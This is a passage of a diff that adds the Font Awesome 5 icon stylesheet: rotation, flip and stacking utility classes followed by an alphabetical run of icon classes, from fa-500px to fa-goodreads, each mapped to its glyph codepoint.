+.far.fa-pull-left, +.fal.fa-pull-left, +.fab.fa-pull-left { + margin-right: .3em; } + +.fa.fa-pull-right, +.fas.fa-pull-right, +.far.fa-pull-right, +.fal.fa-pull-right, +.fab.fa-pull-right { + margin-left: .3em; } + +.fa-spin { + -webkit-animation: fa-spin 2s infinite linear; + animation: fa-spin 2s infinite linear; } + +.fa-pulse { + -webkit-animation: fa-spin 1s infinite steps(8); + animation: fa-spin 1s infinite steps(8); } + +@-webkit-keyframes fa-spin { + 0% { + -webkit-transform: rotate(0deg); + transform: rotate(0deg); } + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); } } + +@keyframes fa-spin { + 0% { + -webkit-transform: rotate(0deg); + transform: rotate(0deg); } + 100% { + -webkit-transform: rotate(360deg); + transform: rotate(360deg); } } + +.fa-rotate-90 { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=1)"; + -webkit-transform: rotate(90deg); + transform: rotate(90deg); } + +.fa-rotate-180 { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)"; + -webkit-transform: rotate(180deg); + transform: rotate(180deg); } + +.fa-rotate-270 { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=3)"; + -webkit-transform: rotate(270deg); + transform: rotate(270deg); } + +.fa-flip-horizontal { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)"; + -webkit-transform: scale(-1, 1); + transform: scale(-1, 1); } + +.fa-flip-vertical { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"; + -webkit-transform: scale(1, -1); + transform: scale(1, -1); } + +.fa-flip-both, .fa-flip-horizontal.fa-flip-vertical { + -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)"; + -webkit-transform: scale(-1, -1); + transform: scale(-1, -1); } + +:root .fa-rotate-90, +:root .fa-rotate-180, +:root .fa-rotate-270, +:root .fa-flip-horizontal, +:root .fa-flip-vertical, +:root .fa-flip-both { + -webkit-filter: none; + filter: none; } + +.fa-stack { + display: inline-block; + height: 2em; + line-height: 2em; + position: relative; + vertical-align: middle; + width: 2.5em; } + +.fa-stack-1x, +.fa-stack-2x { + left: 0; + position: absolute; + text-align: center; + width: 100%; } + +.fa-stack-1x { + line-height: inherit; } + +.fa-stack-2x { + font-size: 2em; } + +.fa-inverse { + color: #fff; } + +/* Font Awesome uses the Unicode Private Use Area (PUA) to ensure screen +readers do not read off random characters that represent icons */ +.fa-500px:before { + content: "\f26e"; } + +.fa-accessible-icon:before { + content: "\f368"; } + +.fa-accusoft:before { + content: "\f369"; } + +.fa-acquisitions-incorporated:before { + content: "\f6af"; } + +.fa-ad:before { + content: "\f641"; } + +.fa-address-book:before { + content: "\f2b9"; } + +.fa-address-card:before { + content: "\f2bb"; } + +.fa-adjust:before { + content: "\f042"; } + +.fa-adn:before { + content: "\f170"; } + +.fa-adversal:before { + content: "\f36a"; } + +.fa-affiliatetheme:before { + content: "\f36b"; } + +.fa-air-freshener:before { + content: "\f5d0"; } + +.fa-airbnb:before { + content: "\f834"; } + +.fa-algolia:before { + content: "\f36c"; } + +.fa-align-center:before { + content: "\f037"; } + +.fa-align-justify:before { + content: "\f039"; } + +.fa-align-left:before { + content: "\f036"; } + +.fa-align-right:before { + content: "\f038"; } + +.fa-alipay:before { + content: "\f642"; } + +.fa-allergies:before { + content: "\f461"; } + +.fa-amazon:before { + content: "\f270"; } + +.fa-amazon-pay:before { + content: "\f42c"; } + +.fa-ambulance:before { + content: "\f0f9"; } + +.fa-american-sign-language-interpreting:before { + content: "\f2a3"; } + +.fa-amilia:before { + content: "\f36d"; } + +.fa-anchor:before { + content: "\f13d"; } + +.fa-android:before { + content: "\f17b"; } + +.fa-angellist:before { + content: "\f209"; } + +.fa-angle-double-down:before { + content: "\f103"; } + +.fa-angle-double-left:before { + content: "\f100"; } + +.fa-angle-double-right:before { + content: "\f101"; } + +.fa-angle-double-up:before { + content: "\f102"; } + +.fa-angle-down:before { + content: "\f107"; } + +.fa-angle-left:before { + content: "\f104"; } + +.fa-angle-right:before { + content: "\f105"; } + +.fa-angle-up:before { + content: "\f106"; } + +.fa-angry:before { + content: "\f556"; } + +.fa-angrycreative:before { + content: "\f36e"; } + +.fa-angular:before { + content: "\f420"; } + +.fa-ankh:before { + content: "\f644"; } + +.fa-app-store:before { + content: "\f36f"; } + +.fa-app-store-ios:before { + content: "\f370"; } + +.fa-apper:before { + content: "\f371"; } + +.fa-apple:before { + content: "\f179"; } + +.fa-apple-alt:before { + content: "\f5d1"; } + +.fa-apple-pay:before { + content: "\f415"; } + +.fa-archive:before { + content: "\f187"; } + +.fa-archway:before { + content: "\f557"; } + +.fa-arrow-alt-circle-down:before { + content: "\f358"; } + +.fa-arrow-alt-circle-left:before { + content: "\f359"; } + +.fa-arrow-alt-circle-right:before { + content: "\f35a"; } + +.fa-arrow-alt-circle-up:before { + content: "\f35b"; } + +.fa-arrow-circle-down:before { + content: "\f0ab"; } + +.fa-arrow-circle-left:before { + content: "\f0a8"; } + +.fa-arrow-circle-right:before { + content: "\f0a9"; } + +.fa-arrow-circle-up:before { + content: "\f0aa"; } + +.fa-arrow-down:before { + content: "\f063"; } + +.fa-arrow-left:before { + content: "\f060"; } + +.fa-arrow-right:before { + content: "\f061"; } + +.fa-arrow-up:before { + content: "\f062"; } + +.fa-arrows-alt:before { + content: "\f0b2"; } + +.fa-arrows-alt-h:before { + content: "\f337"; } + +.fa-arrows-alt-v:before { + content: "\f338"; } + +.fa-artstation:before { + content: "\f77a"; } + +.fa-assistive-listening-systems:before { + content: "\f2a2"; } + +.fa-asterisk:before { + content: "\f069"; } + +.fa-asymmetrik:before { + content: "\f372"; } + +.fa-at:before { + content: "\f1fa"; } + +.fa-atlas:before { + content: "\f558"; } + +.fa-atlassian:before { + content: "\f77b"; } + +.fa-atom:before { + content: "\f5d2"; } + +.fa-audible:before { + content: "\f373"; } + +.fa-audio-description:before { + content: "\f29e"; } + +.fa-autoprefixer:before { + content: "\f41c"; } + +.fa-avianex:before { + content: "\f374"; } + +.fa-aviato:before { + content: "\f421"; } + +.fa-award:before { + content: "\f559"; } + +.fa-aws:before { + content: "\f375"; } + +.fa-baby:before { + content: "\f77c"; } + +.fa-baby-carriage:before { + content: "\f77d"; } + +.fa-backspace:before { + content: "\f55a"; } + +.fa-backward:before { + content: "\f04a"; } + +.fa-bacon:before { + content: "\f7e5"; } + +.fa-bacteria:before { + content: "\e059"; } + +.fa-bacterium:before { + content: "\e05a"; } + +.fa-bahai:before { + content: "\f666"; } + +.fa-balance-scale:before { + content: "\f24e"; } + +.fa-balance-scale-left:before { + content: "\f515"; } + +.fa-balance-scale-right:before { + content: "\f516"; } + +.fa-ban:before { + content: "\f05e"; } + +.fa-band-aid:before { + content: "\f462"; } + +.fa-bandcamp:before { + content: "\f2d5"; } + +.fa-barcode:before { + content: "\f02a"; } + +.fa-bars:before { + content: "\f0c9"; } + +.fa-baseball-ball:before { + content: "\f433"; } + +.fa-basketball-ball:before { + content: "\f434"; } + +.fa-bath:before { + content: "\f2cd"; } + +.fa-battery-empty:before { + content: "\f244"; } + +.fa-battery-full:before { + content: "\f240"; } + +.fa-battery-half:before { + content: "\f242"; } + +.fa-battery-quarter:before { + content: "\f243"; } + +.fa-battery-three-quarters:before { + content: "\f241"; } + +.fa-battle-net:before { + content: "\f835"; } + +.fa-bed:before { + content: "\f236"; } + +.fa-beer:before { + content: "\f0fc"; } + +.fa-behance:before { + content: "\f1b4"; } + +.fa-behance-square:before { + content: "\f1b5"; } + +.fa-bell:before { + content: "\f0f3"; } + +.fa-bell-slash:before { + content: "\f1f6"; } + +.fa-bezier-curve:before { + content: "\f55b"; } + +.fa-bible:before { + content: "\f647"; } + +.fa-bicycle:before { + content: "\f206"; } + +.fa-biking:before { + content: "\f84a"; } + +.fa-bimobject:before { + content: "\f378"; } + +.fa-binoculars:before { + content: "\f1e5"; } + +.fa-biohazard:before { + content: "\f780"; } + +.fa-birthday-cake:before { + content: "\f1fd"; } + +.fa-bitbucket:before { + content: "\f171"; } + +.fa-bitcoin:before { + content: "\f379"; } + +.fa-bity:before { + content: "\f37a"; } + +.fa-black-tie:before { + content: "\f27e"; } + +.fa-blackberry:before { + content: "\f37b"; } + +.fa-blender:before { + content: "\f517"; } + +.fa-blender-phone:before { + content: "\f6b6"; } + +.fa-blind:before { + content: "\f29d"; } + +.fa-blog:before { + content: "\f781"; } + +.fa-blogger:before { + content: "\f37c"; } + +.fa-blogger-b:before { + content: "\f37d"; } + +.fa-bluetooth:before { + content: "\f293"; } + +.fa-bluetooth-b:before { + content: "\f294"; } + +.fa-bold:before { + content: "\f032"; } + +.fa-bolt:before { + content: "\f0e7"; } + +.fa-bomb:before { + content: "\f1e2"; } + +.fa-bone:before { + content: "\f5d7"; } + +.fa-bong:before { + content: "\f55c"; } + +.fa-book:before { + content: "\f02d"; } + +.fa-book-dead:before { + content: "\f6b7"; } + +.fa-book-medical:before { + content: "\f7e6"; } + +.fa-book-open:before { + content: "\f518"; } + +.fa-book-reader:before { + content: "\f5da"; } + +.fa-bookmark:before { + content: "\f02e"; } + +.fa-bootstrap:before { + content: "\f836"; } + +.fa-border-all:before { + content: "\f84c"; } + +.fa-border-none:before { + content: "\f850"; } + +.fa-border-style:before { + content: "\f853"; } + +.fa-bowling-ball:before { + content: "\f436"; } + +.fa-box:before { + content: "\f466"; } + +.fa-box-open:before { + content: "\f49e"; } + +.fa-box-tissue:before { + content: "\e05b"; } + +.fa-boxes:before { + content: "\f468"; } + +.fa-braille:before { + content: "\f2a1"; } + +.fa-brain:before { + content: "\f5dc"; } + +.fa-bread-slice:before { + content: "\f7ec"; } + +.fa-briefcase:before { + content: "\f0b1"; } + +.fa-briefcase-medical:before { + content: "\f469"; } + +.fa-broadcast-tower:before { + content: "\f519"; } + +.fa-broom:before { + content: "\f51a"; } + +.fa-brush:before { + content: "\f55d"; } + +.fa-btc:before { + content: "\f15a"; } + +.fa-buffer:before { + content: "\f837"; } + +.fa-bug:before { + content: "\f188"; } + +.fa-building:before { + content: "\f1ad"; } + +.fa-bullhorn:before { + content: "\f0a1"; } + +.fa-bullseye:before { + content: "\f140"; } + +.fa-burn:before { + content: "\f46a"; } + +.fa-buromobelexperte:before { + content: "\f37f"; } + +.fa-bus:before { + content: "\f207"; } + +.fa-bus-alt:before { + content: "\f55e"; } + +.fa-business-time:before { + content: "\f64a"; } + +.fa-buy-n-large:before { + content: "\f8a6"; } + +.fa-buysellads:before { + content: "\f20d"; } + +.fa-calculator:before { + content: "\f1ec"; } + +.fa-calendar:before { + content: "\f133"; } + +.fa-calendar-alt:before { + content: "\f073"; } + +.fa-calendar-check:before { + content: "\f274"; } + +.fa-calendar-day:before { + content: "\f783"; } + +.fa-calendar-minus:before { + content: "\f272"; } + +.fa-calendar-plus:before { + content: "\f271"; } + +.fa-calendar-times:before { + content: "\f273"; } + +.fa-calendar-week:before { + content: "\f784"; } + +.fa-camera:before { + content: "\f030"; } + +.fa-camera-retro:before { + content: "\f083"; } + +.fa-campground:before { + content: "\f6bb"; } + +.fa-canadian-maple-leaf:before { + content: "\f785"; } + +.fa-candy-cane:before { + content: "\f786"; } + +.fa-cannabis:before { + content: "\f55f"; } + +.fa-capsules:before { + content: "\f46b"; } + +.fa-car:before { + content: "\f1b9"; } + +.fa-car-alt:before { + content: "\f5de"; } + +.fa-car-battery:before { + content: "\f5df"; } + +.fa-car-crash:before { + content: "\f5e1"; } + +.fa-car-side:before { + content: "\f5e4"; } + +.fa-caravan:before { + content: "\f8ff"; } + +.fa-caret-down:before { + content: "\f0d7"; } + +.fa-caret-left:before { + content: "\f0d9"; } + +.fa-caret-right:before { + content: "\f0da"; } + +.fa-caret-square-down:before { + content: "\f150"; } + +.fa-caret-square-left:before { + content: "\f191"; } + +.fa-caret-square-right:before { + content: "\f152"; } + +.fa-caret-square-up:before { + content: "\f151"; } + +.fa-caret-up:before { + content: "\f0d8"; } + +.fa-carrot:before { + content: "\f787"; } + +.fa-cart-arrow-down:before { + content: "\f218"; } + +.fa-cart-plus:before { + content: "\f217"; } + +.fa-cash-register:before { + content: "\f788"; } + +.fa-cat:before { + content: "\f6be"; } + +.fa-cc-amazon-pay:before { + content: "\f42d"; } + +.fa-cc-amex:before { + content: "\f1f3"; } + +.fa-cc-apple-pay:before { + content: "\f416"; } + +.fa-cc-diners-club:before { + content: "\f24c"; } + +.fa-cc-discover:before { + content: "\f1f2"; } + +.fa-cc-jcb:before { + content: "\f24b"; } + +.fa-cc-mastercard:before { + content: "\f1f1"; } + +.fa-cc-paypal:before { + content: "\f1f4"; } + +.fa-cc-stripe:before { + content: "\f1f5"; } + +.fa-cc-visa:before { + content: "\f1f0"; } + +.fa-centercode:before { + content: "\f380"; } + +.fa-centos:before { + content: "\f789"; } + +.fa-certificate:before { + content: "\f0a3"; } + +.fa-chair:before { + content: "\f6c0"; } + +.fa-chalkboard:before { + content: "\f51b"; } + +.fa-chalkboard-teacher:before { + content: "\f51c"; } + +.fa-charging-station:before { + content: "\f5e7"; } + +.fa-chart-area:before { + content: "\f1fe"; } + +.fa-chart-bar:before { + content: "\f080"; } + +.fa-chart-line:before { + content: "\f201"; } + +.fa-chart-pie:before { + content: "\f200"; } + +.fa-check:before { + content: "\f00c"; } + +.fa-check-circle:before { + content: "\f058"; } + +.fa-check-double:before { + content: "\f560"; } + +.fa-check-square:before { + content: "\f14a"; } + +.fa-cheese:before { + content: "\f7ef"; } + +.fa-chess:before { + content: "\f439"; } + +.fa-chess-bishop:before { + content: "\f43a"; } + +.fa-chess-board:before { + content: "\f43c"; } + +.fa-chess-king:before { + content: "\f43f"; } + +.fa-chess-knight:before { + content: "\f441"; } + +.fa-chess-pawn:before { + content: "\f443"; } + +.fa-chess-queen:before { + content: "\f445"; } + +.fa-chess-rook:before { + content: "\f447"; } + +.fa-chevron-circle-down:before { + content: "\f13a"; } + +.fa-chevron-circle-left:before { + content: "\f137"; } + +.fa-chevron-circle-right:before { + content: "\f138"; } + +.fa-chevron-circle-up:before { + content: "\f139"; } + +.fa-chevron-down:before { + content: "\f078"; } + +.fa-chevron-left:before { + content: "\f053"; } + +.fa-chevron-right:before { + content: "\f054"; } + +.fa-chevron-up:before { + content: "\f077"; } + +.fa-child:before { + content: "\f1ae"; } + +.fa-chrome:before { + content: "\f268"; } + +.fa-chromecast:before { + content: "\f838"; } + +.fa-church:before { + content: "\f51d"; } + +.fa-circle:before { + content: "\f111"; } + +.fa-circle-notch:before { + content: "\f1ce"; } + +.fa-city:before { + content: "\f64f"; } + +.fa-clinic-medical:before { + content: "\f7f2"; } + +.fa-clipboard:before { + content: "\f328"; } + +.fa-clipboard-check:before { + content: "\f46c"; } + +.fa-clipboard-list:before { + content: "\f46d"; } + +.fa-clock:before { + content: "\f017"; } + +.fa-clone:before { + content: "\f24d"; } + +.fa-closed-captioning:before { + content: "\f20a"; } + +.fa-cloud:before { + content: "\f0c2"; } + +.fa-cloud-download-alt:before { + content: "\f381"; } + +.fa-cloud-meatball:before { + content: "\f73b"; } + +.fa-cloud-moon:before { + content: "\f6c3"; } + +.fa-cloud-moon-rain:before { + content: "\f73c"; } + +.fa-cloud-rain:before { + content: "\f73d"; } + +.fa-cloud-showers-heavy:before { + content: "\f740"; } + +.fa-cloud-sun:before { + content: "\f6c4"; } + +.fa-cloud-sun-rain:before { + content: "\f743"; } + +.fa-cloud-upload-alt:before { + content: "\f382"; } + +.fa-cloudflare:before { + content: "\e07d"; } + +.fa-cloudscale:before { + content: "\f383"; } + +.fa-cloudsmith:before { + content: "\f384"; } + +.fa-cloudversify:before { + content: "\f385"; } + +.fa-cocktail:before { + content: "\f561"; } + +.fa-code:before { + content: "\f121"; } + +.fa-code-branch:before { + content: "\f126"; } + +.fa-codepen:before { + content: "\f1cb"; } + +.fa-codiepie:before { + content: "\f284"; } + +.fa-coffee:before { + content: "\f0f4"; } + +.fa-cog:before { + content: "\f013"; } + +.fa-cogs:before { + content: "\f085"; } + +.fa-coins:before { + content: "\f51e"; } + +.fa-columns:before { + content: "\f0db"; } + +.fa-comment:before { + content: "\f075"; } + +.fa-comment-alt:before { + content: "\f27a"; } + +.fa-comment-dollar:before { + content: "\f651"; } + +.fa-comment-dots:before { + content: "\f4ad"; } + +.fa-comment-medical:before { + content: "\f7f5"; } + +.fa-comment-slash:before { + content: "\f4b3"; } + +.fa-comments:before { + content: "\f086"; } + +.fa-comments-dollar:before { + content: "\f653"; } + +.fa-compact-disc:before { + content: "\f51f"; } + +.fa-compass:before { + content: "\f14e"; } + +.fa-compress:before { + content: "\f066"; } + +.fa-compress-alt:before { + content: "\f422"; } + +.fa-compress-arrows-alt:before { + content: "\f78c"; } + +.fa-concierge-bell:before { + content: "\f562"; } + +.fa-confluence:before { + content: "\f78d"; } + +.fa-connectdevelop:before { + content: "\f20e"; } + +.fa-contao:before { + content: "\f26d"; } + +.fa-cookie:before { + content: "\f563"; } + +.fa-cookie-bite:before { + content: "\f564"; } + +.fa-copy:before { + content: "\f0c5"; } + +.fa-copyright:before { + content: "\f1f9"; } + +.fa-cotton-bureau:before { + content: "\f89e"; } + +.fa-couch:before { + content: "\f4b8"; } + +.fa-cpanel:before { + content: "\f388"; } + +.fa-creative-commons:before { + content: "\f25e"; } + +.fa-creative-commons-by:before { + content: "\f4e7"; } + +.fa-creative-commons-nc:before { + content: "\f4e8"; } + +.fa-creative-commons-nc-eu:before { + content: "\f4e9"; } + +.fa-creative-commons-nc-jp:before { + content: "\f4ea"; } + +.fa-creative-commons-nd:before { + content: "\f4eb"; } + +.fa-creative-commons-pd:before { + content: "\f4ec"; } + +.fa-creative-commons-pd-alt:before { + content: "\f4ed"; } + +.fa-creative-commons-remix:before { + content: "\f4ee"; } + +.fa-creative-commons-sa:before { + content: "\f4ef"; } + +.fa-creative-commons-sampling:before { + content: "\f4f0"; } + +.fa-creative-commons-sampling-plus:before { + content: "\f4f1"; } + +.fa-creative-commons-share:before { + content: "\f4f2"; } + +.fa-creative-commons-zero:before { + content: "\f4f3"; } + +.fa-credit-card:before { + content: "\f09d"; } + +.fa-critical-role:before { + content: "\f6c9"; } + +.fa-crop:before { + content: "\f125"; } + +.fa-crop-alt:before { + content: "\f565"; } + +.fa-cross:before { + content: "\f654"; } + +.fa-crosshairs:before { + content: "\f05b"; } + +.fa-crow:before { + content: "\f520"; } + +.fa-crown:before { + content: "\f521"; } + +.fa-crutch:before { + content: "\f7f7"; } + +.fa-css3:before { + content: "\f13c"; } + +.fa-css3-alt:before { + content: "\f38b"; } + +.fa-cube:before { + content: "\f1b2"; } + +.fa-cubes:before { + content: "\f1b3"; } + +.fa-cut:before { + content: "\f0c4"; } + +.fa-cuttlefish:before { + content: "\f38c"; } + +.fa-d-and-d:before { + content: "\f38d"; } + +.fa-d-and-d-beyond:before { + content: "\f6ca"; } + +.fa-dailymotion:before { + content: "\e052"; } + +.fa-dashcube:before { + content: "\f210"; } + +.fa-database:before { + content: "\f1c0"; } + +.fa-deaf:before { + content: "\f2a4"; } + +.fa-deezer:before { + content: "\e077"; } + +.fa-delicious:before { + content: "\f1a5"; } + +.fa-democrat:before { + content: "\f747"; } + +.fa-deploydog:before { + content: "\f38e"; } + +.fa-deskpro:before { + content: "\f38f"; } + +.fa-desktop:before { + content: "\f108"; } + +.fa-dev:before { + content: "\f6cc"; } + +.fa-deviantart:before { + content: "\f1bd"; } + +.fa-dharmachakra:before { + content: "\f655"; } + +.fa-dhl:before { + content: "\f790"; } + +.fa-diagnoses:before { + content: "\f470"; } + +.fa-diaspora:before { + content: "\f791"; } + +.fa-dice:before { + content: "\f522"; } + +.fa-dice-d20:before { + content: "\f6cf"; } + +.fa-dice-d6:before { + content: "\f6d1"; } + +.fa-dice-five:before { + content: "\f523"; } + +.fa-dice-four:before { + content: "\f524"; } + +.fa-dice-one:before { + content: "\f525"; } + +.fa-dice-six:before { + content: "\f526"; } + +.fa-dice-three:before { + content: "\f527"; } + +.fa-dice-two:before { + content: "\f528"; } + +.fa-digg:before { + content: "\f1a6"; } + +.fa-digital-ocean:before { + content: "\f391"; } + +.fa-digital-tachograph:before { + content: "\f566"; } + +.fa-directions:before { + content: "\f5eb"; } + +.fa-discord:before { + content: "\f392"; } + +.fa-discourse:before { + content: "\f393"; } + +.fa-disease:before { + content: "\f7fa"; } + +.fa-divide:before { + content: "\f529"; } + +.fa-dizzy:before { + content: "\f567"; } + +.fa-dna:before { + content: "\f471"; } + +.fa-dochub:before { + content: "\f394"; } + +.fa-docker:before { + content: "\f395"; } + +.fa-dog:before { + content: "\f6d3"; } + +.fa-dollar-sign:before { + content: "\f155"; } + +.fa-dolly:before { + content: "\f472"; } + +.fa-dolly-flatbed:before { + content: "\f474"; } + +.fa-donate:before { + content: "\f4b9"; } + +.fa-door-closed:before { + content: "\f52a"; } + +.fa-door-open:before { + content: "\f52b"; } + +.fa-dot-circle:before { + content: "\f192"; } + +.fa-dove:before { + content: "\f4ba"; } + +.fa-download:before { + content: "\f019"; } + +.fa-draft2digital:before { + content: "\f396"; } + +.fa-drafting-compass:before { + content: "\f568"; } + +.fa-dragon:before { + content: "\f6d5"; } + +.fa-draw-polygon:before { + content: "\f5ee"; } + +.fa-dribbble:before { + content: "\f17d"; } + +.fa-dribbble-square:before { + content: "\f397"; } + +.fa-dropbox:before { + content: "\f16b"; } + +.fa-drum:before { + content: "\f569"; } + +.fa-drum-steelpan:before { + content: "\f56a"; } + +.fa-drumstick-bite:before { + content: "\f6d7"; } + +.fa-drupal:before { + content: "\f1a9"; } + +.fa-dumbbell:before { + content: "\f44b"; } + +.fa-dumpster:before { + content: "\f793"; } + +.fa-dumpster-fire:before { + content: "\f794"; } + +.fa-dungeon:before { + content: "\f6d9"; } + +.fa-dyalog:before { + content: "\f399"; } + +.fa-earlybirds:before { + content: "\f39a"; } + +.fa-ebay:before { + content: "\f4f4"; } + +.fa-edge:before { + content: "\f282"; } + +.fa-edge-legacy:before { + content: "\e078"; } + +.fa-edit:before { + content: "\f044"; } + +.fa-egg:before { + content: "\f7fb"; } + +.fa-eject:before { + content: "\f052"; } + +.fa-elementor:before { + content: "\f430"; } + +.fa-ellipsis-h:before { + content: "\f141"; } + +.fa-ellipsis-v:before { + content: "\f142"; } + +.fa-ello:before { + content: "\f5f1"; } + +.fa-ember:before { + content: "\f423"; } + +.fa-empire:before { + content: "\f1d1"; } + +.fa-envelope:before { + content: "\f0e0"; } + +.fa-envelope-open:before { + content: "\f2b6"; } + +.fa-envelope-open-text:before { + content: "\f658"; } + +.fa-envelope-square:before { + content: "\f199"; } + +.fa-envira:before { + content: "\f299"; } + +.fa-equals:before { + content: "\f52c"; } + +.fa-eraser:before { + content: "\f12d"; } + +.fa-erlang:before { + content: "\f39d"; } + +.fa-ethereum:before { + content: "\f42e"; } + +.fa-ethernet:before { + content: "\f796"; } + +.fa-etsy:before { + content: "\f2d7"; } + +.fa-euro-sign:before { + content: "\f153"; } + +.fa-evernote:before { + content: "\f839"; } + +.fa-exchange-alt:before { + content: "\f362"; } + +.fa-exclamation:before { + content: "\f12a"; } + +.fa-exclamation-circle:before { + content: "\f06a"; } + +.fa-exclamation-triangle:before { + content: "\f071"; } + +.fa-expand:before { + content: "\f065"; } + +.fa-expand-alt:before { + content: "\f424"; } + +.fa-expand-arrows-alt:before { + content: "\f31e"; } + +.fa-expeditedssl:before { + content: "\f23e"; } + +.fa-external-link-alt:before { + content: "\f35d"; } + +.fa-external-link-square-alt:before { + content: "\f360"; } + +.fa-eye:before { + content: "\f06e"; } + +.fa-eye-dropper:before { + content: "\f1fb"; } + +.fa-eye-slash:before { + content: "\f070"; } + +.fa-facebook:before { + content: "\f09a"; } + +.fa-facebook-f:before { + content: "\f39e"; } + +.fa-facebook-messenger:before { + content: "\f39f"; } + +.fa-facebook-square:before { + content: "\f082"; } + +.fa-fan:before { + content: "\f863"; } + +.fa-fantasy-flight-games:before { + content: "\f6dc"; } + +.fa-fast-backward:before { + content: "\f049"; } + +.fa-fast-forward:before { + content: "\f050"; } + +.fa-faucet:before { + content: "\e005"; } + +.fa-fax:before { + content: "\f1ac"; } + +.fa-feather:before { + content: "\f52d"; } + +.fa-feather-alt:before { + content: "\f56b"; } + +.fa-fedex:before { + content: "\f797"; } + +.fa-fedora:before { + content: "\f798"; } + +.fa-female:before { + content: "\f182"; } + +.fa-fighter-jet:before { + content: "\f0fb"; } + +.fa-figma:before { + content: "\f799"; } + +.fa-file:before { + content: "\f15b"; } + +.fa-file-alt:before { + content: "\f15c"; } + +.fa-file-archive:before { + content: "\f1c6"; } + +.fa-file-audio:before { + content: "\f1c7"; } + +.fa-file-code:before { + content: "\f1c9"; } + +.fa-file-contract:before { + content: "\f56c"; } + +.fa-file-csv:before { + content: "\f6dd"; } + +.fa-file-download:before { + content: "\f56d"; } + +.fa-file-excel:before { + content: "\f1c3"; } + +.fa-file-export:before { + content: "\f56e"; } + +.fa-file-image:before { + content: "\f1c5"; } + +.fa-file-import:before { + content: "\f56f"; } + +.fa-file-invoice:before { + content: "\f570"; } + +.fa-file-invoice-dollar:before { + content: "\f571"; } + +.fa-file-medical:before { + content: "\f477"; } + +.fa-file-medical-alt:before { + content: "\f478"; } + +.fa-file-pdf:before { + content: "\f1c1"; } + +.fa-file-powerpoint:before { + content: "\f1c4"; } + +.fa-file-prescription:before { + content: "\f572"; } + +.fa-file-signature:before { + content: "\f573"; } + +.fa-file-upload:before { + content: "\f574"; } + +.fa-file-video:before { + content: "\f1c8"; } + +.fa-file-word:before { + content: "\f1c2"; } + +.fa-fill:before { + content: "\f575"; } + +.fa-fill-drip:before { + content: "\f576"; } + +.fa-film:before { + content: "\f008"; } + +.fa-filter:before { + content: "\f0b0"; } + +.fa-fingerprint:before { + content: "\f577"; } + +.fa-fire:before { + content: "\f06d"; } + +.fa-fire-alt:before { + content: "\f7e4"; } + +.fa-fire-extinguisher:before { + content: "\f134"; } + +.fa-firefox:before { + content: "\f269"; } + +.fa-firefox-browser:before { + content: "\e007"; } + +.fa-first-aid:before { + content: "\f479"; } + +.fa-first-order:before { + content: "\f2b0"; } + +.fa-first-order-alt:before { + content: "\f50a"; } + +.fa-firstdraft:before { + content: "\f3a1"; } + +.fa-fish:before { + content: "\f578"; } + +.fa-fist-raised:before { + content: "\f6de"; } + +.fa-flag:before { + content: "\f024"; } + +.fa-flag-checkered:before { + content: "\f11e"; } + +.fa-flag-usa:before { + content: "\f74d"; } + +.fa-flask:before { + content: "\f0c3"; } + +.fa-flickr:before { + content: "\f16e"; } + +.fa-flipboard:before { + content: "\f44d"; } + +.fa-flushed:before { + content: "\f579"; } + +.fa-fly:before { + content: "\f417"; } + +.fa-folder:before { + content: "\f07b"; } + +.fa-folder-minus:before { + content: "\f65d"; } + +.fa-folder-open:before { + content: "\f07c"; } + +.fa-folder-plus:before { + content: "\f65e"; } + +.fa-font:before { + content: "\f031"; } + +.fa-font-awesome:before { + content: "\f2b4"; } + +.fa-font-awesome-alt:before { + content: "\f35c"; } + +.fa-font-awesome-flag:before { + content: "\f425"; } + +.fa-font-awesome-logo-full:before { + content: "\f4e6"; } + +.fa-fonticons:before { + content: "\f280"; } + +.fa-fonticons-fi:before { + content: "\f3a2"; } + +.fa-football-ball:before { + content: "\f44e"; } + +.fa-fort-awesome:before { + content: "\f286"; } + +.fa-fort-awesome-alt:before { + content: "\f3a3"; } + +.fa-forumbee:before { + content: "\f211"; } + +.fa-forward:before { + content: "\f04e"; } + +.fa-foursquare:before { + content: "\f180"; } + +.fa-free-code-camp:before { + content: "\f2c5"; } + +.fa-freebsd:before { + content: "\f3a4"; } + +.fa-frog:before { + content: "\f52e"; } + +.fa-frown:before { + content: "\f119"; } + +.fa-frown-open:before { + content: "\f57a"; } + +.fa-fulcrum:before { + content: "\f50b"; } + +.fa-funnel-dollar:before { + content: "\f662"; } + +.fa-futbol:before { + content: "\f1e3"; } + +.fa-galactic-republic:before { + content: "\f50c"; } + +.fa-galactic-senate:before { + content: "\f50d"; } + +.fa-gamepad:before { + content: "\f11b"; } + +.fa-gas-pump:before { + content: "\f52f"; } + +.fa-gavel:before { + content: "\f0e3"; } + +.fa-gem:before { + content: "\f3a5"; } + +.fa-genderless:before { + content: "\f22d"; } + +.fa-get-pocket:before { + content: "\f265"; } + +.fa-gg:before { + content: "\f260"; } + +.fa-gg-circle:before { + content: "\f261"; } + +.fa-ghost:before { + content: "\f6e2"; } + +.fa-gift:before { + content: "\f06b"; } + +.fa-gifts:before { + content: "\f79c"; } + +.fa-git:before { + content: "\f1d3"; } + +.fa-git-alt:before { + content: "\f841"; } + +.fa-git-square:before { + content: "\f1d2"; } + +.fa-github:before { + content: "\f09b"; } + +.fa-github-alt:before { + content: "\f113"; } + +.fa-github-square:before { + content: "\f092"; } + +.fa-gitkraken:before { + content: "\f3a6"; } + +.fa-gitlab:before { + content: "\f296"; } + +.fa-gitter:before { + content: "\f426"; } + +.fa-glass-cheers:before { + content: "\f79f"; } + +.fa-glass-martini:before { + content: "\f000"; } + +.fa-glass-martini-alt:before { + content: "\f57b"; } + +.fa-glass-whiskey:before { + content: "\f7a0"; } + +.fa-glasses:before { + content: "\f530"; } + +.fa-glide:before { + content: "\f2a5"; } + +.fa-glide-g:before { + content: "\f2a6"; } + +.fa-globe:before { + content: "\f0ac"; } + +.fa-globe-africa:before { + content: "\f57c"; } + +.fa-globe-americas:before { + content: "\f57d"; } + +.fa-globe-asia:before { + content: "\f57e"; } + +.fa-globe-europe:before { + content: "\f7a2"; } + +.fa-gofore:before { + content: "\f3a7"; } + +.fa-golf-ball:before { + content: "\f450"; } + +.fa-goodreads:before { + content: 